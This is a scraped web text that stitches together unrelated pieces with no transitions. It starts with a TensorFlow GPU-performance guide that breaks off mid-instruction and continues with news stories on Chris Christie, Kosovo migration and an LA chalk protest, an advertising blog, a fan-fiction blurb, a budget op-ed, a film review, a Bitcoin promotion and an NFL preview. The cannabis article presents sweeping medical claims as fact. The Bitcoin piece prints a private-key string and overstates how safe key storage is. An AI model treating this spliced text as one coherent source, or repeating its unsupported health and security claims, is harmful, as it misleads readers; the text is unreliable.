asks which compute capability to include in the build. This does not impact overall performance but does impact initial startup. After running TensorFlow once, the compiled kernels are cached by CUDA. If using a docker container, the data is not cached and the penalty is paid each time TensorFlow starts. The best practice is to include the compute capabilities of the GPUs that will be used, e.g. P100: 6.0, Titan X (Pascal): 6.1, Titan X (Maxwell): 5.2, and K80: 3.7. Use a version of gcc that supports all of the optimizations of the target CPU. The recommended minimum gcc version is 4.8.3. On OS X, upgrade to the latest Xcode version and use the version of clang that comes with Xcode.
that supports all of the optimizations of the target CPU. The recommended minimum gcc version is 4.8.3. On OS X, upgrade to the latest Xcode version and use the version of clang that comes with Xcode. Install the latest stable CUDA platform and cuDNN libraries supported by TensorFlow.
History
Data formats
Data formats refers to the structure of the Tensor passed to a given op. The discussion below is specifically about 4D Tensors representing images. In TensorFlow the parts of the 4D tensor are often referred to by the following letters:
N refers to the number of images in a batch.
H refers to the number of pixels in the vertical (height) dimension.
W refers to the number of pixels in the horizontal (width) dimension.
C refers to the channels. For example, 1 for black and white or grayscale and 3 for RGB.
Within TensorFlow there are two naming conventions representing the two most common data formats:
NCHW or channels_first
or NHWC or channels_last
NHWC is the TensorFlow default and NCHW is the optimal format to use when training on NVIDIA GPUs using cuDNN.
The best practice is to build models that work with both data formats. This simplifies training on GPUs and then running inference on CPUs. If TensorFlow is compiled with the Intel MKL optimizations, many operations, especially those related to CNN based models, will be optimized and support NCHW . If not using the MKL, some operations are not supported on CPU when using NCHW .
The brief history of these two formats is that TensorFlow started by using NHWC because it was a little faster on CPUs. In the long term, we are working on tools to auto rewrite graphs to make switching between the formats transparent and take advantages of micro optimizations where a GPU op may be faster using NHWC than the normally most efficient NCHW .
Debugging
Debug input pipeline optimization
Typical models retrieve data from disk and preprocess it before sending the data through the network. For example, models that process JPEG images will follow this flow: load image from disk, decode JPEG into a tensor, crop and pad, possibly flip and distort, and then batch. This flow is referred to as the input pipeline. As GPUs and other hardware accelerators get faster, preprocessing of data can be a bottleneck.
Determining if the input pipeline is the bottleneck can be complicated. One of the most straightforward methods is to reduce the model to a single operation (trivial model) after the input pipeline and measure the examples per second. If the difference in examples per second for the full model and the trivial model is minimal then the input pipeline is likely a bottleneck. Below are some other approaches to identifying issues:
Check if a GPU is underutilized by running nvidia-smi -l 2 . If GPU utilization is not approaching 80-100%, then the input pipeline may be the bottleneck.
. If GPU utilization is not approaching 80-100%, then the input pipeline may be the bottleneck. Generate a timeline and look for large blocks of white space (waiting). An example of generating a timeline exists as part of the XLA jit tutorial.
Check CPU usage. It is possible to have an optimized input pipeline and lack the CPU cycles to process the pipeline.
Estimate the throughput needed and verify the disk used is capable of that level of throughput. Some cloud solutions have network attached disks that start as low as 50 MB/sec, which is slower than spinning disks (150 MB/sec), SATA SSDs (500 MB/sec), and PCIe SSDs (2,000+ MB/sec).
Preprocessing on the CPU
Placing input pipeline operations on the CPU can significantly improve performance. Utilizing the CPU for the input pipeline frees the GPU to focus on training. To ensure preprocessing is on the CPU, wrap the preprocessing operations as shown below:
TRENTON, N.J. (AP) — With a new poll showing voters are disgusted and outraged that Gov. Chris Christie sunned himself on a closed beach during a government shutdown last week, the term-limited governor auditioned for a sports talk radio job on Monday, brashly fighting back against angry callers.
Christie, a Republican, began co-hosting the afternoon show on New York’s WFAN shortly after the first poll released since Beachgate showed his approval rating holding steady at a dismal 15 percent, an all-time low. Eighty percent of respondents disapproved, the Monmouth University poll showed.
Christie brushed aside any potential concern about flagging public opinion.
“The later you get in your term the less you care,” he said on the air. “You’re not running for re-election.”
The New Jersey governor, a big New York Mets fan, revealed that he had donned a Mets T-shirt, shorts and hat the day an NJ.com photographer in an airplane snapped pictures of him lounging in a beach chair at Island Beach State Park, which was off-limits to the public.
New Jersey doesn’t have its own Major League Baseball team, and fans in the state split their loyalties mostly among the Mets, the New York Yankees and the Philadelphia Phillies.
Christie, who’s also a Dallas Cowboys fan, is filling in for host Mike Francesa on WFAN on Monday afternoon and Tuesday afternoon. The station said the appearances are an audition as it seeks a replacement for Francesa, who’s departing.
Christie frequently serves as a fill-in host on the station, tangling with callers over sports and politics. About an hour into Monday’s four-hour show, two men from a largely liberal New Jersey town that voted against Christie twice called in between conversations about his fantasy baseball team and the New York Knicks.
One told Christie he had done a “horrible job” and asked what he thought of the job being done by President Donald Trump, a longtime friend whom Christie endorsed after ending his own presidential campaign.
“I’m enormously relieved we don’t have a criminal in the White House like Hillary Clinton,” Christie said.
Another caller referred to Christie, who’s portly, as a “fat ass” and said he should have driven to another beach.
“I’m not the one who came on the air and swore on the air,” Christie said. “You’re a bum.”
Christie’s co-host for the day defended the caller’s right to use the vulgar phrase on the air.
In the Monmouth poll, released Monday, 800 people were asked for the first word that came to mind to describe how they felt about Christie in the beach photos. Most said “disgusted” and “angry, outraged.” Tied for the next biggest share was “jerk, profanity used.”
Eighty-six percent of the respondents in the Monmouth poll said they saw the July 2 photos of Christie with his family on the closed beach.
Christie later told reporters at a news conference that he hadn’t gotten any sun that day. Christie’s spokesman, when told of the photos, told NJ.com that the governor was telling the truth because he was wearing a baseball hat.
While the budget impasse that led to the government shutdown was caused by a dispute between Christie and the Democrat-led Legislature, it was the beach photos that made the most news, leading to headlines around the world and memes across the internet.
Christie refused to apologize for it and said he doesn’t care about “political optics.”
This week’s news won’t be much better for Christie.
Christie ally David Wildstein, who pleaded guilty to masterminding lane closures at the George Washington Bridge to create traffic jams as punishment for a Democratic mayor who wouldn’t endorse Christie, is set to be sentenced Wednesday. And the Senate is holding a hearing the same day on Trump’s FBI pick, Christopher Wray, who represented Christie during the bridge investigation.
Christie denied any prior knowledge of the bridge scheme and was never charged. His former deputy chief of staff and one of his appointees to the Port Authority of New York and New Jersey were convicted.
Contact Catalini at https://www.twitter.com/mikecatalini
After years of being amazed at what was on the net, I’m now increasingly surprised at what’s not.
Three years ago I was trawling for a particular ad of Tom’s, not only couldn’t I find it I could barely find any of his work.
Outraged, I gathered together as much of his work as I could lay my hands on and put out a post called ‘Hands Up Who’s Heard Of Tom McElligott’.
I was trying to be snarky and ironic, like you may write ‘Hands Up Who’s Heard Of John Lennon?’.
Two things happened:
1. An enormous amount of people checked it out, 65k.
Most had never heard of him, he was being shared and referred to on Twitter and Facebook a ‘really cool pre-internet guy’.
2. A few members of his department got in touch to point out that some of the ads featured were not under Tom’s watch, they were overseen by Pat Burnham.
Then Pat Burnham emailed me; I opened it cautiously.
‘Just wanted to get in touch to say thank you, I really enjoyed your blog post, best, Pat.’
It made me feel bad.
What can I do to make amends? Interview him, I’d never done it before but it seemed like a good thing to do.
I’ve now posted about 50 interviews.
So it feels appropriate that Tom is my first podcast interview.
He hasn’t given an interview for 25 years and said he doesn’t plan on giving one on the next 25.
I Hope you enjoy listening to him as much as I did.
(VFTL? It stands for ‘Voices From The Loft’, it’s a podcast.)
PRE-FALLON McELLIGOTT:
LUNCH HOUR Ltd.
FALLON McELLLIGOTT:
There is more of Tom’s Fallon McElligott and post-Fallon McElligott at a previous post here: https://davedye.com/tag/tom-mcelligott/
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Portrait of a Shepard who is by temperament and choice...a straight arrow of a nerdy person, introverted and shy, working hard to maintain a persona of fire breathing force of nature.
Starts in ME1, AU afterward, Shepard inspiring changes in path and personality in others, which changes the galaxy. Shakarian with Thane insisting on 'it's really complicated' Shrios.
The robotic arm prosthetics currently available are controlled by the patient twitching the remnant muscles in their shoulder or arm. The technology in said arms is fairly basic and able to perform only or two grasping commands. Said limitations have led to a global 40-50% discard rate for such prosthetics.
The new prosthetic is potentially capable of far more commands due to its use of sensor technology. The research suggests that the signals sent by spinal motor neurons can be detected in much greater amounts than with remnant muscle fibre, meaning that the arm can ultimately be programmed with more commands to increase the functionality.
“When an arm is amputated the nerve fibres and muscles are also severed, which means that it is very difficult to get meaningful signals from them to operate a prosthetic,” said lead author Dr Farina, from the Department of Bioengineering at Imperial College London.
“We’ve tried a new approach, moving the focus from muscles to the nervous system. This means that our technology can detect and decode signals more clearly, opening up the possibility of robotic prosthetics that could be far more intuitive and useful for patients. It is a very exciting time to be in this field of research.”
The researchers experimented in the lab with six volunteers who were either amputees from the shoulder down or just above the elbow. Following physiotherapy training, all six were able to make a more extensive range of movements than would be possible using a classic muscle-controlled robotic prosthetic.
The volunteers underwent a surgical procedure at the Medical University of Vienna that involved re-routing parts of their Peripheral Nervous System (PNS), connected with hand and arm movements, to healthy muscles in their body. Depending on the type of amputation, this re-routing was either directed to the pectoral muscle in the chest or the bicep in the arm.
Researchers suggested that the current model is still subject to refinement, but could be on the market in the next three years.
The laboratory tests have taken them to the end of the proof of concept stage and they will now begin involve extensive clinical trials with a much wider cross section of volunteers in order to make the technology more robust.
"We've been told that we can claim asylum in Germany," Fitim says, adding that he would like to stay in Kosovo if he could find work paying "around 200 euros ($230) a month." But, things being as they are, all five of them are packed up and ready to get on the bus to Germany.
For over two months, up to 10 buses have left for the north every evening from the capital, Pristina. It's a similar picture in most other towns. They usually have no problems passing through Serbia despite Belgrade's reluctance to recognize a Kosovo passport.
They go as far as Subotica, a small town near the Serbia-Hungary border. It's a Schengen border, which most Kosovars then cross on foot with the help of corrupt police officers and traffickers who charge 200 euros per head.
If they get caught by Hungarian police, they claim asylum in Hungary. But they'd rather make it all the way to Germany, Austria or Scandinavia.
'They leave'
Kosovo has not seen this many people leave the country since the war in 1999. There are no official numbers, but government sources say up to 30,000 have fled Kosovo in the past two months. Some diplomats in Pristina, however, think 50,000 is a more realistic figure - some media outlets claim it's even more.
Thousands of Kosovars pay to get to Germany, Austria, Scandinavia and elsewhere
Many schools have seen the effects: Teachers have been let go as more than 5,200 students have left. The streets and restaurants in Pristina, normally full of life, are also emptier than usual.
For a country with just 1.8 million people, this mass exodus poses a problem. "Kosovars don't believe in political parties, parliament or the government anymore," sociologist Artan Muhaxhiri told DW. "So, first chance they get, they leave."
Kosovo is one of the poorest countries in Europe, with unemployment at 45 percent and more than 34 percent of people living in poverty, meaning on less than 1.42 euros a day. About 18 percent even live on just 94 cents a day. But there are also some middle class Kosovars giving up fairly well-paid jobs to leave the country illegally.
Reality check
In January, Kosovars made up the second biggest group of applicants for asylum in Germany, after Syrians, according to German authorities. Serbians and Albanians were in third and fourth place, with some of those possibly Kosovars with Serbian or Albanian passports.
For most Kosovars, their dreams of making it in Germany end as soon as they arrive. "There is no asylum for Kosovars," Manfred Schmidt, president of the German Migration and Refugee Authority, told DW.
While Kosovo is not yet on the list of safe countries, like Serbia, Bosnia-Herzegovina or Macedonia, Kosovars seeking asylum are practically always rejected, Schmidt said.
Those who do not leave Germany within two weeks of their rejection may be forced to leave and asked not to enter Schengen territory for the next five years.
Government media campaign
On their return, many Kosovars find themselves destitute, having lost everything for a shattered dream. "When this exodus is over there'll likely be more people in Brussels calling for a liberalization of visa policies for Kosovo," Dusan Reljic, head of the Brussels bureau of the German Institute for International and Security Affairs.
But she used her entrance to try to defuse the recent unpleasantness about her fictional account of flying into Tuzla, Bosnia, under sniper fire in 1996, a tale that was discredited by witnesses and news footage.
“I was worried I wasn’t going to make it,” she said as she walked onto the set (to the theme from “Rocky”). “I was pinned down by sniper fire at the Burbank airport.”
She dismissed the controversy over her remarks and said, “I obviously just had a lapse and here I am safe and sound and proud of all our great accomplishments.”
There were a couple of gags about her 3 a.m. phone call advertisements, including a short taped segment at the top of the show with Mrs. Clinton picking up the phone in a darkened room to hear Mr. Leno begging her to appear on his show. She looked into the camera and said, “We’ve got to get caller I.D.”
One other light moment came when Mr. Leno asked her about her daughter Chelsea’s role in the campaign. He recalled Chelsea’s recent statement that she thought her mother would make a better president than her father.
The action, called Chalk Walk, was meant to protest a slew of arrests in the past month of people who were writing with chalk on the street. A Facebook page for the event, which showed 172 people planned to attend, decried the arrests and described them as "an attempt to stifle dissent." Event organizers also wrote: "We will chalk it out all over Art Walk letting people know about the dangers of chalking."
Cheryl Aichele, Occupy LA activist, told The Huffington Post that at first, the protest went smoothly.
"Everyone was peaceful. The tone was jovial for Art Walk," said Aichele. "I didn’t see anyone being violent or aggressive."
Around 8:40 p.m., police started receiving reports of a disturbance near 5th and Spring streets, close to the monthly Downtown LA Art Walk that attracts hundreds of residents to the neighborhood. About the same time, journalist Nancy Casanova, who happened to be downtown for the event, tweeted a photo of a woman on the street being arrested for "chalking."
Girl being arrested for writing on the floor with chalk. #DTLA pic.twitter.com/iTYmfd84 — Nancy Casanova (@nancycasanova) July 13, 2012
After that arrest, tweeted Casanova, protestors began throwing objects at police.
At least one officer was injured, the Los Angeles Times reported.
Around 9 p.m., police issued a citywide tactical alert over the "unusual occurrence." Aerial footage showed officers forming skirmish lines throughout the neighborhood, and separating protestors from media and other onlookers.
By 11 p.m., CBS2's footage of the skirmish line revealed that the crowd was mostly dispersed.
Several people were arrested, said LAPD Officer Karen Rayner to HuffPost, although she couldn't confirm the exact number. When asked if drawing on the ground with chalk is illegal, Rayner said, "It's not vandalism because it's not permanent, but I don't really know."
Some chalk messages, written on sidewalks and buildings, conveyed anti-police phrases like "F*ck the police," "F*ck LAPD" and "Welcome to the police state." Broken bottles also littered Spring Street. The aftermath of the protest was eventually obscured by the still-ongoing Art Walk event and large crowds of barhoppers who frequent the area on Thursday evenings.
Charlie Shepard, who was in the area for Art Walk, told NBC4 that he was shot with a rubber bullet.
"I was walking down the street and I saw a group of people. I was just here for Art Walk, I didn’t know anything was gonna happen," Shepard said.
ABC7 reported via Twitter that the police also released pepper balls:
#DTLA UPDATE: Protest said to be tied to Chalk Walk, #OccupyLA Police released pepper balls into crowd http://t.co/6iZTS11k — ABC7 Eyewitness News (@ABC7) July 13, 2012
At the time of this writing, police couldn't confirm or deny the use of dispersal tactics on the crowd.
The police arrested 17 people in connection with the protest at 5th and Spring Streets Thursday evening. The following is a breakdown of the criminal charges arrestees could face:
Misdemeanor vandalism: 8 adults, 1 juvenile
Failure to disperse: 2 adults
Resisting arrest: 2 adults
Receiving stolen property: 1 adult
Assault on a police officers: 1 adult
Assault with a deadly weapon on a police officer: 2 adults
Downtown LA Art Walk’s Executive Director Joe Moller disavowed the protest and resulting violence in an exclusive statement to The Huffington Post:
The Downtown LA Art Walk had no role in this event and is not involved in the planning or execution of any Occupy events. It’s unfortunate that this small organization disrupted an evening of art, food and fun for the thousands of Angelenos and visitors who visited The Downtown LA Art Walk last night. We work closely with the Los Angeles Police Department to ensure the safety of the public when they attend Art Walk the second Thursday of each month in Downtown Los Angeles. We encourage people to visit our website at www.downtownartwalk.org to learn more about The Downtown LA Art Walk and the many art, food, fashion and fun opportunities at Downtown LA Art Walk, held the second Thursday of each month in Downtown Los Angeles.
Intended to promote Thailand as a hub for medical services, the policy was approved by the interim cabinet on Tuesday, according to spokesman Athisit Chainuwat.
Update: Thailand’s New 10-Year Visas Meet Mixed Reactions
It would replace one-year renewable visas and come in two installments of five years each, Athisit said. It was not immediately clear when the plan would be implemented.
Applicants must either earn a monthly salary of at least 100,000 baht or have more than 3 million baht in their bank account, which cannot be withdrawn within the first year after receiving the visa. They must also have health insurance that covers hospital stays and provides at least USD$10,000 in annual coverage.
Visa holders will still have to check in every 90 days with the Bureau of Immigration, Athisit said.
Applicants for the visa are expected to be foreigners who live in provinces such as Chiang Rai, Chiang Mai and Chonburi, the spokesman added.
Related stories:
Thai Immigration Asks Foreigners for Bank Accounts, Social Media, Hangouts
Thousands Arrested as Visa Overstay Bans go for PM’s Endorsement
“President Trump’s proposed budget would likely result in billions of dollars of cuts to vital health and human services programs in California, state Democratic lawmakers and advocates for the poor said Tuesday,” reported the Los Angeles Times,
“It’s unconscionable and un-American,” blasted Gov. Jerry Brown, who himself slashed state social spending to balance the budget.
In announcing the May Revision to his budget proposal for fiscal year 2017-18, Brown warned, “We have ongoing pressures from Washington and an economic recovery that won’t last forever.”
Actually, to use a line from another California governor, Ronald Reagan: You ain’t seen nothin’ yet. The cuts in California programs soon will be much larger than those in Trump’s proposal, and they will strike whether or not he’s president, or the White House occupant is Elizabeth Warren or the ghost of Lyndon Baines Johnson. Nor will it matter if Nancy Pelosi again becomes House speaker and is joined by Chuck Schumer as Senate majority leader.
The reason is simple: The Baby Boomers will continue retiring, and Social Security and Medicare payments will gobble up an increasing proportion of federal spending. That will crowd out everything else: spending for defense (especially wars), even though Trump now wants to increase defense spending $50 billion a year; and for all discretionary spending, including for health, education and welfare transfers to state governments.
According to Brown’s May Revise budget proposal, general fund spending would be $124 billion for fiscal 2017-18, which begins on July 1.
Brown’s January budget proposal included more details on federal funding. For example, turn to p. 28, Figure K-12-05. We see the $90.7 billion in revenue for K-12 education will come 61% from federal sources.
The May Revise also warns: “The state must also continue to plan for and save for tougher budget times ahead. The federal government is contemplating actions – such as defunding health care for five million Californians, eliminating the deductibility of state taxes, and zeroing out funding for organizations like Planned Parenthood – that could send the state budget into turmoil….
I got some of the following charts from an article on the libertarian website LewRockwell.com, by Gary North, Ron Paul’s first economic adviser. Title, “Guns or Granny: The Looming Political Battle of the West.” North, who has written about this issue for years, copied the charts and data from non-libertarian sites. His analysis makes sense to me. But feel free to come up with your own interpretation of the independent data.
His conclusion, “Sometime before the 20’s are over, there will be no more discretionary slice of the budgetary pie. At that point, there is going to be a guerilla war in Washington. It will be a battle over the size of the slices of pie. Political voting blocs that thought the size of their slice was guaranteed will find that it isn’t.”
Check out this chart:
The first thing to note is federal taxing is limited to 20% of GDP. In America’s entire history, it only briefly went slightly above that amount during World War II, until Hitler and Tojo were defeated. Then it went back below the 20% threshold. Americans just won’t be taxed more.
In most years since1970, the federal government has spent more than revenues, usually around 23% to 25% of GDP. That is, spending is at least 3 to 5 percentage points above revenues. That’s how presidents and Congress have run up a massive debt that now clocks at $20 trillion. This year’s projected deficit of $603 billion, in the proposed Trump budget, sure doesn’t help. The rising debt, of course, means higher interest payments in the future – meaning less money to spend on other areas.
Note that there is no connection between the top marginal income tax rate and tax receipts. Even if President Warren boosted the top tax rate back to 90%, as it was in the 1950s, total tax receipts would not rise, but would remain under 20%.
So, there isn’t going to be any more money. And more Baby Boomers will be retiring, putting extra demands on Social Security and Medicare. That means: Something has to give.
North’s point is that old people are not going to let their Social Security and Medicare be cut before everything else is cut: defense, education, environmental programs, science, etc.
Here’s a chart I found from the UC Davis Center for Regional Change from the 2014 California election:
Notice how those ages 64-74 voted more than six times those of ages 18-24. That was not a presidential election year, but the votes affected congressional races. And it’s the Congress that passes the bills, not the president. In a democratic system, with majority ruling, if it’s Social Security and Medicare vs. aid to colleges and K-12 schools, who’s going to win that battle? Who is more likely to write a letter to Rep. Porkbarrel insisting on funding? It won’t matter whether the honorable representative is a Democrat or a Republican.
Finally, here’s a pie chart of federal spending in 2015:
Notice the two slices on the right: Social Security is 24% of the budget. And 25% goes for health care – which includes not only Medicare for retirees, but Medicaid (Medi-Cal here), the Veterans Administration, federal retiree health guarantees, etc.
Those two slices are guaranteed to increase, which means the rest of the slices will have to be cut. Even in that nutty new math they teach under Common Core in the California public schools, all of something = 100%, not 110% or 150%.
When the feds cut the gravy train, which inevitable, the California state budget, like most of us aging baby boomers, is going to find it’s going to have to go on a diet.
Cannabis has been shown to kill cancer cells, save the lives of countless epileptic children, treat PTSD, heal bones, treat brain trauma, and a slew of other uses science is only beginning to understand. And yet, the only thing dangerous about this seemingly miraculous plant is that police will kidnap, cage, or kill you for possessing it.
Bill Murray makes a good point. #EndTheDrugWarThe Free Thought Project.com (Y) تم نشره بواسطة ‏‎The Free Thought Project‎‏ في 23 فبراير، 2016
To understand why the state is so adamant about locking people in cages over a plant, we have to look at the history of that plant’s prohibition.
WARNING: The conspiratorial stupidity and mania surrounding the prohibition of cannabis are massively infuriating.
Using the data compiled at DrugLibrary.org, Nick Panetta, the public relations director of UGA NORML sums up the history of drug war quite eloquently.
Historically, marijuana drug laws are the product of a lack of knowledge, and what must either be described as propaganda or complete lunacy. Prior to the federal Marihuana Tax Act of 1937, 27 states had passed laws against Marijuana. Those states could be categorized into three groups: Southwestern, Northeastern, and Utah.
Looking at the legislation, it’s obvious the Southwestern states outlawed marijuana to control an undesired Mexican population. It wasn’t marijuana that legislatures were fighting, it was its users; cheap Mexican labor was a problem. Congressmen rallied around statements such as, “All Mexicans are crazy, and this stuff [marijuana] is what makes them crazy”, and “Give one of these Mexican beet field workers a couple of puffs on a marijuana cigarette and he thinks he is in the bullring at Barcelona.”
Northeastern states had entirely different reasons for the ban. According to a 1919 New York Times editorial, “No one here in New York uses this drug marijuana. We have only just heard about it from down in the Southwest, but we had better prohibit its use before it gets here. Otherwise all the heroin and hard narcotics addicts…and all the alcohol drinkers…will substitute this new and unknown drug marijuana.”
Utah, however, enacted marijuana law for its own reasons. When the Mormon Church decreed polygamy a mistake in 1910, those in disagreement fled to Mexico. Failing to establish settlement, the group returned to Utah in 1914 with marijuana. The Church, opposed to euphoriants of any kind, declared marijuana prohibited and wrote it, with other religious prohibitions, into the state’s criminal law.
With 27 states prohibiting marijuana, it wasn’t long until federal legislation tried to control this “growing problem”. Not yet able to mandate criminal law, a common states’ rights issue of the time, the legislation came in the form of the Marihuana Tax Act of 1937.
The Marihuana Tax Act of 1937 moved through congress very quickly. The Congressional committee hearings lasted one hour each over two days. The hearings featured several testimonies: Harry Anslinger (the newly named Commissioner of the Federal Bureau of Narcotics), industry spokesmen for rope, paint, and birdseed, and medical testimony from Drs. James C. Munch and William C. Woodward.
Each argument can easily be paraphrased. Mr. Anslinger essentially said that marijuana was a “national menace”. The paint and rope spokesmen didn’t care; they could use other resources. The birdseed spokesman claimed they absolutely needed marijuana seeds to produce shiny coats, and to this day possess an exemption to use “denatured seeds.” Dr. Munch conducted an experiment, from which he couldn’t draw a conclusion. Dr. Woodward, a representative of the American Medical Association, stated, “The American Medical Association knows of no evidence that marihuana is a dangerous drug.”
The bill went to the Congressional floor on Aug. 20; it was there for less than two minutes. When asked what the bill concerned, the Speaker replied, “I don’t know. It has something to do with a thing called marihuana. I think it’s a narcotic of some kind.”
When asked if the AMA supported the bill, one member of the committee replied, “They support this bill 100 percent.” This was a lie, but the bill passed anyway. It then cleared the Senate without debate, and President Franklin D. Roosevelt signed it into law.
Afterward, Mr. Anslinger named Dr. Munch his expert witness; a position he held until 1962. During that time, Dr. Munch went on to repeatedly testify, “After two puffs on a marijuana cigarette, I was turned into a bat,” and claimed that he flew around the room for fifteen minutes before finding himself at the bottom of a two-hundred-foot high ink well.
From that point on, when the public perceived an increase in drug use, the answer was new criminal law with harsher penalties in every offense category. When the federal government discovered that organized crime was funded through illegal narcotics, even harsher penalties were enacted. Through repetition of this pattern, drug penalties increased eightfold over 20 years. The war on drugs had begun.
Those who continue this madness are either incredibly foolish or profiting from it. As the Former UN Secretary General said in an op-ed this week, “The war on drugs is a war on people.”
The time to end the drug war is now. Please share this article with your friends and family so that they will know the lunacy and corruption that led to the suppression of this amazing plant.
Matt Agorist is an honorably discharged veteran of the USMC and former intelligence operator directly tasked by the NSA. This prior experience gives him unique insight into the world of government corruption and the American police state. Agorist has been an independent journalist for over a decade and has been featured on mainstream networks around the world.
I t's not your imagination — the multiplexes have been flooded with a wave of biopics recently. Now, hot on the heels of films like Big Eyes and The Imitation Game comes the latest from director Clint Eastwood: a movie about Navy SEAL Chris Kyle, the most lethal sniper in U.S. history. Like last year's Lone Survivor, American Sniper is a gripping account of bravery and heroism on the battlefield. But it also paints a haunting portrait of a man battling the psychological effects of war. And it has its star, Bradley Cooper, delivering the most transfixing performance of his career.
Based on Kyle's 2011 memoir, which he co-authored with Scott McEwen and Jim DeFelice, American Sniper commences with Kyle's first tour of duty in Iraq, where he's been tasked with protecting the lives of the Marines on the ground. In this first, tense scene of the film, Eastwood and screenwriter Jason Hall put moviegoers squarely in Kyle's boots, as he's forced to make a split-second decision about whether to shoot a mother and her young son who appear to be carrying a grenade intended for the U.S. troops.
Then, as the crucial moment nears, the movie's narrative takes an abrupt detour. Select moments from Kyle's Christian upbringing flash on the screen, including a scene in which he and his younger brother receive a stern lecture from their father, who tells them that "there are three kinds of people in the world: sheep, wolves and sheepdogs" and that "in this family, we don't raise any sheep."
It's evident that the words resonate profoundly with Kyle, for we later observe him staring aghast at a television news broadcast showing the chaotic aftermath of an anti-American terrorist attack and deciding right then and there that it's his patriotic duty to enlist and protect his country.
If there are any failings about the film, they can largely be traced to its first act. Scenes that are meant to flesh out Kyle's backstory instead end up coming across as heavy-handed and overwrought with masculine clichés. And viewers may find it hard to suppress a chuckle or two at moments such as one in which a stoic Cooper marches silently towards the camera — clad in a white cowboy hat (what else) — and squints into the sunlight as he stares intently off-screen.
Fortunately, the rest of the movie isn't unintentionally farcical in the least. For after enduring the torturous rite of passage that is Navy SEALs training, then meeting, wooing and marrying Taya (an underused Sienna Miller), with whom he eventually fathers two children, Kyle is deployed to the Middle East. It's at this point that the movie really begins to earn its stripes, as Eastwood's depictions of the savagery of war are uncompromising and hard-hitting.
More importantly, it's from this point onward that we see the bulked-up and already physically convincing Cooper really emotionally disappear into his role as Kyle, whose sharpshooting prowess quickly earns him the nickname "Legend" among his fellow soldiers.
In a meeting with several reporters this afternoon, House Minority Leader John Boehner outlined the top three measures he'd pursue if he becomes Speaker of the House next Congress to create new jobs. But, those who thought he'd outline specific programs and how they would create jobs were disappointed with a familiar litany of wish-list items: repeal health care reform, eschew climate legislation, and renew the Bush tax cuts. In other words, repeal a program that largely hasn't yet taken effect; prevent new legislation that is also not in effect; and keep a current tax structure in place. Step four: profit. Or jobs.
I can't tell if Boehner is just this stupid or counting on Americans to be this stupid. Either way, it doesn't reflect well on the Orange One.
Why else would the CEO of JPMorgan Chase make a weekly routine out of getting into his black shiny limo, heading to the television studios of major U.S. media outlets, and spouting off non sequiturs that are intended to create fear, uncertainty and doubt around what he calls a meaningless “fraud”?
Is the alleged Bitcoin “fraud” really worthy of this highly successful billionaire’s time?
Once you understand the technology behind Bitcoin, the answer becomes exceedingly clear.
Every dollar invested in Bitcoin is a dollar that’s not in a bank.
Bitcoin’s market cap is currently hovering around $60 billion. That means that there is $60 billion less invested in commercial banks around the world than there was before Bitcoin came around.
How can Bitcoin operate without a bank? Well, dear reader, that is the part of the technology that has gotten us all so excited. Bitcoin operates in the same exact manner as cash, but digitally.
What is the difference between storing $1 million in paper cash and $1 million in Bitcoin in a home safe?
Here is $1 million in paper cash:
Here is an example of what $1 million (or any amount) would look like in Bitcoin:
5HpHagT65TZzG1PH3CSu63k8DbpvD8s5ip4nEB3kEsreMQiR4w7
Which one looks easier to store to you?
When you own Bitcoin, you own digital cash. You can keep a stack of cash in your home safe, and you can also keep your Bitcoin private keys in your home safe. Whether it’s digital cash or paper cash, once it’s in your safe, that’s the only place that it exists. That money doesn’t exist anywhere else in the universe except for inside of your safe, waiting for you to pull it out and spend it.
Of course, when you're dealing with a string of numbers of letters, you don't need a bank to store it. You can keep it on an encrypted device, you can hide it inside of a book in your home, or you can even just memorize it! No matter how you store your private keys, your money is safe.
When you're dealing with cash, you quickly realize that keeping it around your house in large quantities is a bad idea. That's when a bank account comes in handy.
Once you purchase Bitcoin for the first time, you are contributing to an effort that will ultimately drain the lifeblood out of the commercial banking system. This is why Jamie Dimon is strategically trying to create fear. He wants to save his industry.
You are a smart person, so now your mind is probably on the verge of spinning out of control, trying to figure out how in the world a set of secret numbers and letters could possibly represent an infinite amount of money. If you want to start learning about how this works, it will take time and patience. I'd suggest starting with this fantastic video of the best Bitcoin explainer on the planet, Andreas Antonopoulos, educating the Senate of Canada. It's long, but it's worth it if you're really dedicated to learning. Consider it a "master class" on the basics of Bitcoin.
Whether or not you fully grasp it, there is one thing that you need to understand right now: Bitcoin is real, it does work, and it eliminates the need for banks today for anyone who is willing to try it.
As I’ve done for each of the past two seasons, I’m sorting the league into four buckets of teams, each of which I’ll cover over the next four days. Today, I’ll talk about the bottom eight teams in the league, the ones I expect to compete for the first overall pick in next year’s draft. Tomorrow, I’ll discuss the eight teams who are likely to be falling off from a year ago; Wednesday, I’ll continue with the eight I expect to improve; and I’ll finish up on Thursday with the eight I think have the best shot at competing for the Lombardi Trophy in 2013.
Well, I only sorta did this last year. My attempt to finish up the gargantuan summer NFL preview was interrupted by a robbery, so I wasn’t able to finish up last year’s work. I stopped after this very section last year. Of the eight teams I identified as the worst in football, seven were pretty bad. Those seven teams played .276 football, roughly producing a 4-12 team. The eighth team was the Washington Redskins, who ducked those bad vibes and won the NFC East. Hmm. The Redskins aren’t back in this group again in 2013, of course, but five of the other seven teams will be making repeat appearances this time around. Will one of them be this year’s Redskins? Probably not.
Of course, things are also a little different this year because Mr. Robert Mays and I have been doing a daily podcast series breaking down every NFL team as they head into 2013. If you’ve listened to those, you may notice some similar themes, but you might also see some changes between my general outlook on the podcast and my thoughts here. Nothing is too drastic — I’m not picking the Raiders to win the Super Bowl or anything — but there are some minor shifts here and there. Those have occurred for a variety of reasons: injuries, changes in personnel, adjustments in the teams around them, and just some flat-out cases of changing my mind a little bit on a team. So, for your sake and mine, chill. And if you haven’t listened to the podcasts, you can catch up this week by listening to our archived podcasts on iTunes or in the Grantland Podcenter, or start anew with our player/team prediction, mailbag, and Week 1 preview shows, which will all go up later this week.
Arizona Cardinals
2012 Record: 5-11
Pythagorean Wins: 4.8 (overperformed by 0.2 wins, 13th-luckiest in league)
Record in Games Decided By Seven Points or Fewer: 3-4 (0.429, 20th-best in league)
Strength of Schedule: 0.540 (second-toughest in league)
Turnover Margin: Minus-1 (tied for 17th in league)
2013 Out-of-Division Schedule: AFC South, NFC South, vs. Lions, at Eagles
Taken on the whole, the 2012 Cardinals were a totally unremarkable team, a 5-11 unit that never had a prayer of competing in the league’s toughest division. Once you start splitting them up a little bit, that team was fascinating. They started 4-0 before finishing 1-11, which turned Ken Whisenhunt from a Coach of the Year candidate into an offensive coordinator for the Chargers. They had the league’s sixth-best defense per DVOA — including the league’s second-best pass defense — but had an offense that was historically bad.
